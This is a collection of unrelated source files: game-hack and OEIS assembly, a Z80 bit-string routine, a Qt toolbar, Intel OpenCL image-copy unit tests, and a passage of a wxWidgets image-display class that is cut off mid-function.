CanCallJumpCode:
if !AllowStairJump == 0
LDA $5E : CMP #$02 : BEQ .noJumping ; don't jump when on stairs
endif
LDA $10
CMP #$07 : BEQ .correctModule
CMP #$09 : BEQ .correctModule
CMP #$0B : BEQ .correctModule
CMP #$06 : BEQ .resetJumping
CMP #$08 : BEQ .resetJumping
CMP #$0A : BEQ .resetJumping
BRA .noJumping
.correctModule
LDA $11 : BEQ .jumping ; only jump on submodule 0
BRA .noJumping
.resetJumping
%M_STZ(!IsJumping,0)
%M_STZ(!JumpTimer,0)
BRA .noJumping
.jumping
CLC : RTL
.noJumping
SEC : RTL
HandleJumping:
JSL CheckJumpButtonPress
JSL ExecuteJump
RTL
StopJump:
%M_STZ(!IsJumping,0)
RTL
|
; A037606: Base 6 digits are, in order, the first n terms of the periodic sequence with initial period 1,2,3.
; Submitted by Jon Maiga
; 1,8,51,307,1844,11067,66403,398420,2390523,14343139,86058836,516353019,3098118115,18588708692,111532252155,669193512931,4015161077588,24090966465531,144545798793187,867274792759124,5203648756554747
lpb $0
sub $0,1
add $2,1
add $1,$2
mul $1,6
mod $2,3
lpe
add $1,$2
mov $0,$1
add $0,1
|
; A051893: a(n) = Sum_{i=1..n-1} i^2*a(i), a(1) = 1.
; Submitted by Jon Maiga
; 1,1,5,50,850,22100,817700,40885000,2657525000,217917050000,22009622050000,2685173890100000,389350214064500000,66189536390965000000,13039338669020105000000,2946890539198543730000000,757350868574025738610000000,219631751886467464196900000000
seq $0,101686 ; a(n) = Product_{i=1..n} (i^2 + 1).
add $0,3
div $0,2
sub $0,1
|
; /*****************************************************************************
; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers *
; *****************************************************************************
; * Copyright 2021-2022 Marco Spedaletti (asimov@mclink.it)
; *
; * Licensed under the Apache License, Version 2.0 (the "License");
; * you may not use this file except in compliance with the License.
; * You may obtain a copy of the License at
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Unless required by applicable law or agreed to in writing, software
; * distributed under the License is distributed on an "AS IS" BASIS,
; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; * See the License for the specific language governing permissions and
; * limitations under the License.
; *----------------------------------------------------------------------------
; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0
; * (la "Licenza"); è proibito usare questo file se non in conformità alla
; * Licenza. Una copia della Licenza è disponibile all'indirizzo:
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Se non richiesto dalla legislazione vigente o concordato per iscritto,
; * il software distribuito nei termini della Licenza è distribuito
; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o
; * implicite. Consultare la Licenza per il testo specifico che regola le
; * autorizzazioni e le limitazioni previste dalla medesima.
; ****************************************************************************/
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
;* *
;* CONVERT A NUMBER TO A STRING OF BITS (1/0) *
;* *
;* by Marco Spedaletti *
;* *
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
BINSTR:
LD HL, BINSTRBUF
ADD HL, 31
BINSTRL:
SRA B
RR C
RR D
RR E
JR C, BINSTRO1
JMP BINSTRO0
BINSTRO0:
PUSH AF
LD A, '0'
LD (HL), A
DEC HL
POP AF
JMP BINSTRO
BINSTRO1:
PUSH AF
LD A, '1'
LD (HL), A
DEC HL
POP AF
JMP BINSTRO
BINSTRO:
DEC A
JR NZ, BINSTRL
INC HL
RET
|
/*
* Copyright (c) Contributors to the Open 3D Engine Project. For complete copyright and license terms please see the LICENSE at the root of this distribution.
*
* SPDX-License-Identifier: Apache-2.0 OR MIT
*
*/
#include "UiCanvasEditor_precompiled.h"
#include "EditorCommon.h"
#include <QLabel>
#include <QResizeEvent>
PreviewToolbar::PreviewToolbar(EditorWindow* parent)
: QToolBar("Preview Toolbar", parent)
, m_viewportSizeLabel(new QLabel(parent))
, m_canvasScaleLabel(new QLabel(parent))
{
setObjectName("PreviewToolbar"); // needed to save state
setFloatable(false);
// Add the current viewport resolution label
addSeparator();
m_viewportSizeLabel->setToolTip(QString("The current size of the viewport"));
addWidget(m_viewportSizeLabel);
// Add the combo box to select a canvas size
addSeparator();
QLabel* canvasSizeLabel = new QLabel("Preview canvas size: ", parent);
addWidget(canvasSizeLabel);
m_canvasSizeToolbarSection.reset(new PreviewCanvasSizeToolbarSection(this, false));
// Add the canvas scale label
addSeparator();
m_canvasScaleLabel->setToolTip(QString("The scale used to fit the canvas in the viewport"));
addWidget(m_canvasScaleLabel);
// Add a spacer widget to force the Edit button to be on the right of the toolbar area
QWidget* spacer = new QWidget();
spacer->setSizePolicy(QSizePolicy::Expanding, QSizePolicy::Expanding);
addWidget(spacer);
// Add the Edit button to the right of the toolbar
m_editButton = new QPushButton("End Preview", parent);
QObject::connect(m_editButton,
&QPushButton::clicked,
parent,
&EditorWindow::ToggleEditorMode);
// Enable Edit button only while in Preview mode
QObject::connect(parent,
&EditorWindow::EditorModeChanged,
m_editButton,
[=](UiEditorMode mode)
{
m_editButton->setEnabled(mode == UiEditorMode::Preview);
});
m_editButton->setEnabled(parent->GetEditorMode() == UiEditorMode::Preview);
m_editButton->setToolTip(QString("Switch back to Edit mode"));
// this uses the "primary button" style from the global style sheet
m_editButton->setProperty("class", "Primary");
m_editButton->setIcon(QIcon(":/Icons/PreviewStop.png"));
addWidget(m_editButton);
parent->addToolBar(this);
}
void PreviewToolbar::ViewportHasResized(QResizeEvent* ev)
{
m_viewportSizeLabel->setText(QString("Viewport size: %1 x %2").arg(QString::number(ev->size().width()),
QString::number(ev->size().height())));
}
void PreviewToolbar::UpdatePreviewCanvasScale(float scale)
{
m_canvasScaleLabel->setText(QString("Canvas scale: %1%").arg(QString::number(scale * 100.0f)));
}
#include <moc_PreviewToolbar.cpp>
|
/*
* Copyright (C) 2017-2020 Intel Corporation
*
* SPDX-License-Identifier: MIT
*
*/
#include "opencl/source/built_ins/builtins_dispatch_builder.h"
#include "opencl/test/unit_test/command_queue/enqueue_copy_image_fixture.h"
#include "opencl/test/unit_test/gen_common/gen_commands_common_validation.h"
#include "opencl/test/unit_test/helpers/unit_test_helper.h"
#include "opencl/test/unit_test/libult/ult_command_stream_receiver.h"
#include "opencl/test/unit_test/mocks/mock_builtin_dispatch_info_builder.h"
#include "opencl/test/unit_test/mocks/mock_builtins.h"
#include "test.h"
#include "reg_configs_common.h"
#include <algorithm>
using namespace NEO;
HWCMDTEST_F(IGFX_GEN8_CORE, EnqueueCopyImageTest, WhenCopyingImageThenGpgpuWalkerIsCorrect) {
typedef typename FamilyType::GPGPU_WALKER GPGPU_WALKER;
enqueueCopyImage<FamilyType>();
auto *cmd = reinterpret_cast<GPGPU_WALKER *>(cmdWalker);
ASSERT_NE(nullptr, cmd);
// Verify GPGPU_WALKER parameters
EXPECT_NE(0u, cmd->getThreadGroupIdXDimension());
EXPECT_NE(0u, cmd->getThreadGroupIdYDimension());
EXPECT_NE(0u, cmd->getThreadGroupIdZDimension());
EXPECT_NE(0u, cmd->getRightExecutionMask());
EXPECT_NE(0u, cmd->getBottomExecutionMask());
EXPECT_EQ(GPGPU_WALKER::SIMD_SIZE_SIMD32, cmd->getSimdSize());
EXPECT_NE(0u, cmd->getIndirectDataLength());
EXPECT_FALSE(cmd->getIndirectParameterEnable());
// Compute the SIMD lane mask
size_t simd =
cmd->getSimdSize() == GPGPU_WALKER::SIMD_SIZE_SIMD32 ? 32 : cmd->getSimdSize() == GPGPU_WALKER::SIMD_SIZE_SIMD16 ? 16 : 8;
uint64_t simdMask = maxNBitValue(simd);
// Mask off lanes based on the execution masks
auto laneMaskRight = cmd->getRightExecutionMask() & simdMask;
auto lanesPerThreadX = 0;
while (laneMaskRight) {
lanesPerThreadX += laneMaskRight & 1;
laneMaskRight >>= 1;
}
//auto numWorkItems = ( ( cmd->getThreadWidthCounterMaximum() - 1 ) * simd + lanesPerThreadX ) * cmd->getThreadGroupIdXDimension();
//EXPECT_EQ( expectedWorkItems, numWorkItems );
}
HWTEST_F(EnqueueCopyImageTest, WhenCopyingImageThenTaskCountIsAlignedWithCsr) {
//this test case assumes IOQ
auto &csr = pDevice->getUltCommandStreamReceiver<FamilyType>();
csr.taskCount = pCmdQ->taskCount + 100;
csr.taskLevel = pCmdQ->taskLevel + 50;
EnqueueCopyImageHelper<>::enqueueCopyImage(pCmdQ, srcImage, dstImage);
EXPECT_EQ(csr.peekTaskCount(), pCmdQ->taskCount);
EXPECT_EQ(csr.peekTaskLevel(), pCmdQ->taskLevel + 1);
}
HWTEST_F(EnqueueCopyImageTest, WhenCopyingImageThenTaskLevelIsIncremented) {
auto taskLevelBefore = pCmdQ->taskLevel;
EnqueueCopyImageHelper<>::enqueueCopyImage(pCmdQ, srcImage, dstImage);
EXPECT_GT(pCmdQ->taskLevel, taskLevelBefore);
}
HWTEST_F(EnqueueCopyImageTest, WhenCopyingImageThenCommandsAreAdded) {
auto usedCmdBufferBefore = pCS->getUsed();
EnqueueCopyImageHelper<>::enqueueCopyImage(pCmdQ, srcImage, dstImage);
EXPECT_NE(usedCmdBufferBefore, pCS->getUsed());
}
HWTEST_F(EnqueueCopyImageTest, WhenCopyingImageThenIndirectDataGetsAdded) {
auto dshBefore = pDSH->getUsed();
auto iohBefore = pIOH->getUsed();
auto sshBefore = pSSH->getUsed();
EnqueueCopyImageHelper<>::enqueueCopyImage(pCmdQ, srcImage, dstImage);
EXPECT_TRUE(UnitTestHelper<FamilyType>::evaluateDshUsage(dshBefore, pDSH->getUsed(), nullptr));
EXPECT_NE(iohBefore, pIOH->getUsed());
EXPECT_NE(sshBefore, pSSH->getUsed());
}
HWTEST_F(EnqueueCopyImageTest, WhenCopyingImageThenL3ProgrammingIsCorrect) {
enqueueCopyImage<FamilyType>();
validateL3Programming<FamilyType>(cmdList, itorWalker);
}
HWCMDTEST_F(IGFX_GEN8_CORE, EnqueueCopyImageTest, WhenEnqueueIsDoneThenStateBaseAddressIsProperlyProgrammed) {
enqueueCopyImage<FamilyType>();
auto &ultCsr = this->pDevice->getUltCommandStreamReceiver<FamilyType>();
validateStateBaseAddress<FamilyType>(ultCsr.getMemoryManager()->getInternalHeapBaseAddress(ultCsr.rootDeviceIndex),
pDSH, pIOH, pSSH, itorPipelineSelect, itorWalker, cmdList, 0llu);
}
HWCMDTEST_F(IGFX_GEN8_CORE, EnqueueCopyImageTest, WhenCopyingImageThenMediaInterfaceDescriptorLoadIsCorrect) {
typedef typename FamilyType::MEDIA_INTERFACE_DESCRIPTOR_LOAD MEDIA_INTERFACE_DESCRIPTOR_LOAD;
typedef typename FamilyType::INTERFACE_DESCRIPTOR_DATA INTERFACE_DESCRIPTOR_DATA;
enqueueCopyImage<FamilyType>();
// All state should be programmed before walker
auto cmd = reinterpret_cast<MEDIA_INTERFACE_DESCRIPTOR_LOAD *>(cmdMediaInterfaceDescriptorLoad);
ASSERT_NE(nullptr, cmd);
// Verify we have a valid length -- multiple of INTERFACE_DESCRIPTOR_DATAs
EXPECT_EQ(0u, cmd->getInterfaceDescriptorTotalLength() % sizeof(INTERFACE_DESCRIPTOR_DATA));
// Validate the start address
size_t alignmentStartAddress = 64 * sizeof(uint8_t);
EXPECT_EQ(0u, cmd->getInterfaceDescriptorDataStartAddress() % alignmentStartAddress);
// Validate the length
EXPECT_NE(0u, cmd->getInterfaceDescriptorTotalLength());
size_t alignmentTotalLength = 32 * sizeof(uint8_t);
EXPECT_EQ(0u, cmd->getInterfaceDescriptorTotalLength() % alignmentTotalLength);
// Generically validate this command
FamilyType::PARSE::template validateCommand<MEDIA_INTERFACE_DESCRIPTOR_LOAD *>(cmdList.begin(), itorMediaInterfaceDescriptorLoad);
}
HWCMDTEST_F(IGFX_GEN8_CORE, EnqueueCopyImageTest, WhenCopyingImageThenInterfaceDescriptorDataIsCorrect) {
typedef typename FamilyType::STATE_BASE_ADDRESS STATE_BASE_ADDRESS;
typedef typename FamilyType::INTERFACE_DESCRIPTOR_DATA INTERFACE_DESCRIPTOR_DATA;
enqueueCopyImage<FamilyType>();
// Extract the interfaceDescriptorData
auto cmdSBA = (STATE_BASE_ADDRESS *)cmdStateBaseAddress;
auto &interfaceDescriptorData = *(INTERFACE_DESCRIPTOR_DATA *)cmdInterfaceDescriptorData;
// Validate the kernel start pointer. Technically, a kernel can start at address 0 but let's force a value.
auto kernelStartPointer = ((uint64_t)interfaceDescriptorData.getKernelStartPointerHigh() << 32) + interfaceDescriptorData.getKernelStartPointer();
EXPECT_LE(kernelStartPointer, cmdSBA->getInstructionBufferSize() * MemoryConstants::pageSize);
size_t maxLocalSize = 256u;
auto localWorkSize = std::min(maxLocalSize,
Image2dDefaults::imageDesc.image_width * Image2dDefaults::imageDesc.image_height);
auto simd = 32u;
auto numThreadsPerThreadGroup = Math::divideAndRoundUp(localWorkSize, simd);
EXPECT_EQ(numThreadsPerThreadGroup, interfaceDescriptorData.getNumberOfThreadsInGpgpuThreadGroup());
EXPECT_NE(0u, interfaceDescriptorData.getCrossThreadConstantDataReadLength());
EXPECT_NE(0u, interfaceDescriptorData.getConstantIndirectUrbEntryReadLength());
// We shouldn't have these pointers the same.
EXPECT_NE(kernelStartPointer, interfaceDescriptorData.getBindingTablePointer());
}
HWTEST_F(EnqueueCopyImageTest, WhenCopyingImageThenSurfaceStateIsCorrect) {
typedef typename FamilyType::RENDER_SURFACE_STATE RENDER_SURFACE_STATE;
enqueueCopyImage<FamilyType>();
for (uint32_t i = 0; i < 2; ++i) {
const auto &surfaceState = getSurfaceState<FamilyType>(&pCmdQ->getIndirectHeap(IndirectHeap::SURFACE_STATE, 0), i);
const auto &imageDesc = dstImage->getImageDesc();
EXPECT_EQ(imageDesc.image_width, surfaceState.getWidth());
EXPECT_EQ(imageDesc.image_height, surfaceState.getHeight());
EXPECT_NE(0u, surfaceState.getSurfacePitch());
EXPECT_NE(0u, surfaceState.getSurfaceType());
auto surfaceFormat = surfaceState.getSurfaceFormat();
bool isRedescribedFormat =
surfaceFormat == RENDER_SURFACE_STATE::SURFACE_FORMAT_R32G32B32A32_UINT ||
surfaceFormat == RENDER_SURFACE_STATE::SURFACE_FORMAT_R32G32_UINT ||
surfaceFormat == RENDER_SURFACE_STATE::SURFACE_FORMAT_R32_UINT ||
surfaceFormat == RENDER_SURFACE_STATE::SURFACE_FORMAT_R16_UINT ||
surfaceFormat == RENDER_SURFACE_STATE::SURFACE_FORMAT_R8_UINT;
EXPECT_TRUE(isRedescribedFormat);
EXPECT_EQ(RENDER_SURFACE_STATE::SURFACE_HORIZONTAL_ALIGNMENT_HALIGN_4, surfaceState.getSurfaceHorizontalAlignment());
EXPECT_EQ(RENDER_SURFACE_STATE::SURFACE_VERTICAL_ALIGNMENT_VALIGN_4, surfaceState.getSurfaceVerticalAlignment());
}
const auto &srcSurfaceState = getSurfaceState<FamilyType>(&pCmdQ->getIndirectHeap(IndirectHeap::SURFACE_STATE, 0), 0);
EXPECT_EQ(srcImage->getGraphicsAllocation()->getGpuAddress(), srcSurfaceState.getSurfaceBaseAddress());
const auto &dstSurfaceState = getSurfaceState<FamilyType>(&pCmdQ->getIndirectHeap(IndirectHeap::SURFACE_STATE, 0), 1);
EXPECT_EQ(dstImage->getGraphicsAllocation()->getGpuAddress(), dstSurfaceState.getSurfaceBaseAddress());
}
HWTEST_F(EnqueueCopyImageTest, WhenCopyingImageThenNumberOfPipelineSelectsIsOne) {
enqueueCopyImage<FamilyType>();
int numCommands = getNumberOfPipelineSelectsThatEnablePipelineSelect<FamilyType>();
EXPECT_EQ(1, numCommands);
}
HWCMDTEST_F(IGFX_GEN8_CORE, EnqueueCopyImageTest, WhenCopyingImageThenMediaVfeStateIsSetCorrectly) {
enqueueCopyImage<FamilyType>();
validateMediaVFEState<FamilyType>(&pDevice->getHardwareInfo(), cmdMediaVfeState, cmdList, itorMediaVfeState);
}
typedef EnqueueCopyImageMipMapTest MipMapCopyImageTest;
HWTEST_P(MipMapCopyImageTest, GivenImagesWithNonZeroMipLevelsWhenCopyImageIsCalledThenProperMipLevelsAreSet) {
cl_mem_object_type srcImageType, dstImageType;
std::tie(srcImageType, dstImageType) = GetParam();
auto builtIns = new MockBuiltins();
pCmdQ->getDevice().getExecutionEnvironment()->rootDeviceEnvironments[pCmdQ->getDevice().getRootDeviceIndex()]->builtins.reset(builtIns);
auto &origBuilder = BuiltInDispatchBuilderOp::getBuiltinDispatchInfoBuilder(
EBuiltInOps::CopyImageToImage3d,
pCmdQ->getDevice());
// substitute original builder with mock builder
auto oldBuilder = builtIns->setBuiltinDispatchInfoBuilder(
EBuiltInOps::CopyImageToImage3d,
pCmdQ->getContext(),
pCmdQ->getDevice(),
std::unique_ptr<NEO::BuiltinDispatchInfoBuilder>(new MockBuiltinDispatchInfoBuilder(*builtIns, &origBuilder)));
cl_int retVal = CL_SUCCESS;
cl_image_desc srcImageDesc = {};
uint32_t expectedSrcMipLevel = 3;
uint32_t expectedDstMipLevel = 4;
srcImageDesc.image_type = srcImageType;
srcImageDesc.num_mip_levels = 10;
srcImageDesc.image_width = 4;
srcImageDesc.image_height = 1;
srcImageDesc.image_depth = 1;
cl_image_desc dstImageDesc = srcImageDesc;
dstImageDesc.image_type = dstImageType;
size_t srcOrigin[] = {0, 0, 0, 0};
size_t dstOrigin[] = {0, 0, 0, 0};
size_t region[] = {srcImageDesc.image_width, 1, 1};
std::unique_ptr<Image> srcImage;
std::unique_ptr<Image> dstImage;
switch (srcImageType) {
case CL_MEM_OBJECT_IMAGE1D:
srcOrigin[1] = expectedSrcMipLevel;
srcImage = std::unique_ptr<Image>(ImageHelper<Image1dDefaults>::create(context, &srcImageDesc));
break;
case CL_MEM_OBJECT_IMAGE1D_ARRAY:
srcImageDesc.image_array_size = 2;
srcOrigin[2] = expectedSrcMipLevel;
srcImage = std::unique_ptr<Image>(ImageHelper<Image1dArrayDefaults>::create(context, &srcImageDesc));
break;
case CL_MEM_OBJECT_IMAGE2D:
srcOrigin[2] = expectedSrcMipLevel;
srcImage = std::unique_ptr<Image>(ImageHelper<Image2dDefaults>::create(context, &srcImageDesc));
break;
case CL_MEM_OBJECT_IMAGE2D_ARRAY:
srcImageDesc.image_array_size = 2;
srcOrigin[3] = expectedSrcMipLevel;
srcImage = std::unique_ptr<Image>(ImageHelper<Image2dArrayDefaults>::create(context, &srcImageDesc));
break;
case CL_MEM_OBJECT_IMAGE3D:
srcOrigin[3] = expectedSrcMipLevel;
srcImage = std::unique_ptr<Image>(ImageHelper<Image3dDefaults>::create(context, &srcImageDesc));
break;
}
EXPECT_NE(nullptr, srcImage.get());
switch (dstImageType) {
case CL_MEM_OBJECT_IMAGE1D:
dstOrigin[1] = expectedDstMipLevel;
dstImage = std::unique_ptr<Image>(ImageHelper<Image1dDefaults>::create(context, &dstImageDesc));
break;
case CL_MEM_OBJECT_IMAGE1D_ARRAY:
dstImageDesc.image_array_size = 2;
dstOrigin[2] = expectedDstMipLevel;
dstImage = std::unique_ptr<Image>(ImageHelper<Image1dArrayDefaults>::create(context, &dstImageDesc));
break;
case CL_MEM_OBJECT_IMAGE2D:
dstOrigin[2] = expectedDstMipLevel;
dstImage = std::unique_ptr<Image>(ImageHelper<Image2dDefaults>::create(context, &dstImageDesc));
break;
case CL_MEM_OBJECT_IMAGE2D_ARRAY:
dstImageDesc.image_array_size = 2;
dstOrigin[3] = expectedDstMipLevel;
dstImage = std::unique_ptr<Image>(ImageHelper<Image2dArrayDefaults>::create(context, &dstImageDesc));
break;
case CL_MEM_OBJECT_IMAGE3D:
dstOrigin[3] = expectedDstMipLevel;
dstImage = std::unique_ptr<Image>(ImageHelper<Image3dDefaults>::create(context, &dstImageDesc));
break;
}
EXPECT_NE(nullptr, dstImage.get());
retVal = pCmdQ->enqueueCopyImage(srcImage.get(),
dstImage.get(),
srcOrigin,
dstOrigin,
region,
0,
nullptr,
nullptr);
EXPECT_EQ(CL_SUCCESS, retVal);
auto &mockBuilder = static_cast<MockBuiltinDispatchInfoBuilder &>(BuiltInDispatchBuilderOp::getBuiltinDispatchInfoBuilder(EBuiltInOps::CopyImageToImage3d,
pCmdQ->getDevice()));
auto params = mockBuilder.getBuiltinOpParams();
EXPECT_EQ(expectedSrcMipLevel, params->srcMipLevel);
EXPECT_EQ(expectedDstMipLevel, params->dstMipLevel);
// restore original builder and retrieve mock builder
auto newBuilder = builtIns->setBuiltinDispatchInfoBuilder(
EBuiltInOps::CopyImageToImage3d,
pCmdQ->getContext(),
pCmdQ->getDevice(),
std::move(oldBuilder));
EXPECT_NE(nullptr, newBuilder);
}
uint32_t types[] = {CL_MEM_OBJECT_IMAGE1D, CL_MEM_OBJECT_IMAGE1D_ARRAY, CL_MEM_OBJECT_IMAGE2D, CL_MEM_OBJECT_IMAGE2D_ARRAY, CL_MEM_OBJECT_IMAGE3D};
INSTANTIATE_TEST_CASE_P(MipMapCopyImageTest_GivenImagesWithNonZeroMipLevelsWhenCopyImageIsCalledThenProperMipLevelsAreSet,
MipMapCopyImageTest,
::testing::Combine(
::testing::ValuesIn(types),
::testing::ValuesIn(types)));
|
/******************************************************************************
* Name: jlp_gdev_wxwid_canvas.cpp (JLP_GDev_wxWID class)
*
* Purpose: Handling menu and events
* that are defined in "jlp_gdev_wxwid_menu.cpp"
*
* Author: JLP
* Version: 12/02/2017
******************************************************************************/
#include <stdlib.h> // exit()
#include "jlp_gdev_wxwid.h"
#include "jlp_wx_gdproc.h" // JLP_wx_iGDProc class
#include "jlp_wxgdev_popup.h" // For JLP_wxGDev_Popup
#include "jlp_wxgdev_labels.h" // For JLP_wxGDevLabels
#include "jlp_wxgdev_shapes.h" // For JLP_wxGDevShapes
#include "jlp_wx_ipanel.h" // JLP_wxImagePanel class
#include "jlp_wx_scrolled1.h" // JLP_wxScrolledImage
/*
int LoadNewCImage1(JLP_wxImage1 *image1);
void ApplyCurrentSettingsToCImage1();
int RestoreOriginalCImage1();
int ReadCImage1Data(double *array, int nx, int ny);
int UpdateCImage1Values(double *array, int nx, int ny,
const bool reset_ITT_to_MinMax);
void ConvDevToUserForImages(long ix, long iy, double *x1, double *y1,
int *in_frame);
void ConvUserToDevForImages(double x1, double y1, int *ix, int *iy,
int *in_frame);
void InitBackupDC(int width, int height);
void OnPaint( wxPaintEvent &WXUNUSED(event) );
void OnScrollPaint( wxPaintEvent &WXUNUSED(event) );
void RedrawToBackupDC(const int calling_routine_nber);
void RedrawImageToBackupDC();
*/
/*************************************************************
* Load a new image
*************************************************************/
int JLP_GDev_wxWID::LoadNewCImage1(JLP_wxImage1 *image1)
{
c_image1 = image1;
// Apply current settings (LUT, ITT, etc) to c_image1
ApplyCurrentSettingsToCImage1();
// Initialize backup DC with the right size:
MySetSize();
// Starting with automatic thresholds from box:
wxgdev_settings1.InternalProcessingMode = 0;
// Apply settings and update popup menu:
if(m_popup_menu1 != NULL)
m_popup_menu1->UpdatePopupMenu_InternalProcessingMode();
RedrawToBackupDC(1001);
return(0);
}
/************************************************************************
* Apply current settings (LUT, ITT, etc) for image display
*
************************************************************************/
void JLP_GDev_wxWID::ApplyCurrentSettingsToCImage1()
{
int status, max_lut_level;
if(c_image1 == NULL) return;
// Apply previous settings for ITT:
GDevSetITT_linear(wxgdev_settings1.itt_is_linear);
// Apply settings for LUT:
GDevSetLUT(wxgdev_settings1.lut_type);
max_lut_level = GetMaxLevelForLUT();
if(wxgdev_settings1.lut_reversed) c_image1->ReverseLUT(max_lut_level);
// Apply settings for ITT thresholds type:
status = GDevSet_ITT_Thresh(wxgdev_settings1.itt_type,
wxgdev_settings1.low_itt_thresh,
wxgdev_settings1.up_itt_thresh,
wxgdev_settings1.itt_x1_box,
wxgdev_settings1.itt_y1_box,
wxgdev_settings1.itt_x2_box,
wxgdev_settings1.itt_y2_box);
// Set image threshold to MinMax otherwise (thus ignoring wxgdev_settings1):
if(status != 0) {
wxgdev_settings1.itt_type = wxT("MinMax");
}
// Then retrieve good values for the next time:
// wxgdev_settings1.low_itt_thresh = c_image1->Get_Low_Threshold();
// wxgdev_settings1.up_itt_thresh = c_image1->Get_Up_Threshold();
return;
}
/************************************************************************
* Restore original image
************************************************************************/
int JLP_GDev_wxWID::RestoreOriginalCImage1()
{
if(c_image1 == NULL) return(-1);
// Restore original data:
c_image1->RestoreOriginalImage();
// Update image with current LUT and ITT selection:
c_image1->Update_with_LUT_and_ITT(MaxColorLevelForLUT);
// Update backup bitmap:
RedrawToBackupDC(1002);
return(0);
}
/************************************************************************
* Get access to c_image1 data
* i.e. read c_image1 data
************************************************************************/
int JLP_GDev_wxWID::ReadCImage1Data(double *array, int nx, int ny)
{
int i, nx1, ny1, status;
double *data;
if(c_image1 == NULL) return(-1);
status = c_image1->GetDoubleArray(&data, &nx1, &ny1);
if(status == 0) {
if((nx != nx1) || (ny != ny1)) {
fprintf(stderr,
"ReadCImage1Data/Fatal error: inconsistent size/nx=%d ny=%d nx1=%d ny1=%d\n",
nx, ny, nx1, ny1);
exit(-2);
}
for(i = 0; i < nx *ny; i++) array[i] = data[i];
delete[] data;
}
return(0);
}
/*************************************************************
* Update the values of current image
* i.e. write new data onto c_image1
*
*************************************************************/
int JLP_GDev_wxWID::UpdateCImage1Values(double *array, int nx, int ny,
const bool reset_ITT_to_MinMax)
{
int nx1, ny1;
wxString buffer;
if(c_image1 == NULL) {
buffer.Printf(wxT("UpdateCImage1Values/Fatal error: c_image1 = NULL\n"));
wxMessageBox(buffer, wxT("JLP_GDev_wxWID/UpdateCImage1Values"),
wxOK | wxICON_ERROR);
return(-1);
}
nx1 = c_image1->Get_nx1();
ny1 = c_image1->Get_ny1();
if(nx != nx1 || ny != ny1) {
buffer.Printf(wxT("UpdateCImage1Values/Fatal error: inconsistent size/nx=%d ny=%d nx1=%d ny1=%d\n"),
nx, ny, nx1, ny1);
wxMessageBox(buffer, wxT("JLP_GDev_wxWID/UpdateCImage1Values"),
wxOK | wxICON_ERROR);
return(-1);
}
c_image1->PutDoubleArray(array, nx, ny);
// When called by the parent, for filter computation, reset_ITT_to_MinMax=true
// When called by jlp_wx_ipanel, for image update, reset_ITT_to_MinMax=false
// Also called by jlp_wx_ipanel, by Erase() with reset_ITT_to_MinMax=false
if(reset_ITT_to_MinMax) {
wxgdev_settings1.itt_type = wxT("MinMax");
}
// Apply current settings (LUT, ITT, etc) to c_image1
ApplyCurrentSettingsToCImage1();
RedrawToBackupDC(1003);
return(0);
}
/*************************************************************
* ConvDevToUserForImages
* to convert device coordinates to user coordinates
*
* Origin of device coordinate is on top left:
* whereas I want to display the images with origin on bottom left:
* Hence y = ny1 -1 - y
* JLP2014: I checked that I really get 64.0,64.0 at the center
* of the central pixel in a 128x128 frame.
*
* INPUT:
* dev_x0, dev_y0: device coordinates
*
* OUTPUT:
* user_x1, user_y1: user coordinates
* in_frame: 1 if user_x1 and user_y1 are in the range [0, nx1[ or [0, ny1[
* 0 otherwise
*
*************************************************************/
void JLP_GDev_wxWID::ConvDevToUserForImages(double dev_x0, double dev_y0,
double *user_x1, double *user_y1,
int *in_frame)
{
int ix, iy, nx1, ny1;
int gamma1, gamma_d, iwx, iwy;
*in_frame = 0;
*user_x1 = 0.;
*user_y1 = 0.;
ix = NINT(dev_x0 + 0.5);
iy = NINT(dev_y0 + 0.5);
if(c_image1 == NULL || m_scrolled_window == NULL) return;
// JLP2009: I checked that I really get 64.0,64.0 at the center
// of the central pixel in a 128x128 frame.
c_image1->Get_gamma(&gamma1, &gamma_d);
nx1 = c_image1->Get_nx1();
ny1 = c_image1->Get_ny1();
// since: iwx = NINT((user_x1 + 0.5) * gamma_d);
// since: iwy = NINT((ny1 - 0.5 - user_y1) * gamma_d);
m_scrolled_window->CalcUnscrolledPosition(ix, iy, &iwx, &iwy );
if(gamma_d > 1) {
*user_x1 = -0.5 + ((double)iwx / (double)gamma_d);
*user_y1 = ny1 - 0.5 - (double)iwy / (double)gamma_d ;
} else if(gamma1 > 1) {
*user_x1 = -0.5 + ((double)iwx * (double)gamma1);
*user_y1 = ny1 - 0.5 - (double)iwy * (double)gamma1 ;
} else {
*user_x1 = -0.5 + (double)iwx;
*user_y1 = ny1 - 0.5 - (double)iwy;
}
// user_x1, user_y1 are the user coordinates
if((*user_x1 >= 0 && *user_x1 < nx1)
&& (*user_y1 >= 0 && *user_y1 < ny1)) {
*in_frame = 1;
} else {
*in_frame = 0;
}
/* DEBUG:
printf("ConvDevToUserForImages: x=%d y=%d User coord: x1=%f y1=%f\n",
ix, iy, *user_x1, *user_y1);
*/
return;
}
/*************************************************************
* ConvUserToDevForImages
* to convert user coordinates to device coordinates
*
* INPUT:
* x1, y1: user coordinates
*
* OUTPUT:
* dev_x0, dev_y0: device coordinates
* in_frame: 1 if (ix, iy) is visible in the window
* 0 otherwise
*
*************************************************************/
void JLP_GDev_wxWID::ConvUserToDevForImages(double x1, double y1,
double *dev_x0, double *dev_y0,
int *in_frame)
{
int ny1, ixsize, iysize, ix, iy;
int gamma1, gamma_d, iwx, iwy;
// Initialization of the output parameters:
*dev_x0 = 0; *dev_y0 = 0; *in_frame = 0;
if(c_image1 == NULL || m_scrolled_window == NULL) return;
ny1 = c_image1->Get_ny1();
// Origin of device coordinate is on top left:
// whereas I want to display the images with origin on bottom left:
// Conversion:
c_image1->Get_gamma(&gamma1, &gamma_d);
if(gamma_d > 1) {
iwx = NINT((x1 + 0.5) * (double)gamma_d);
iwy = NINT(((double)ny1 - 0.5 - y1) * (double)gamma_d);
} else if(gamma1 > 1) {
iwx = NINT((x1 + 0.5) / (double)gamma1);
iwy = NINT(((double)ny1 - 0.5 - y1) / (double)gamma1);
} else {
iwx = NINT(x1 + 0.5);
iwy = NINT((double)ny1 - 0.5 - y1);
}
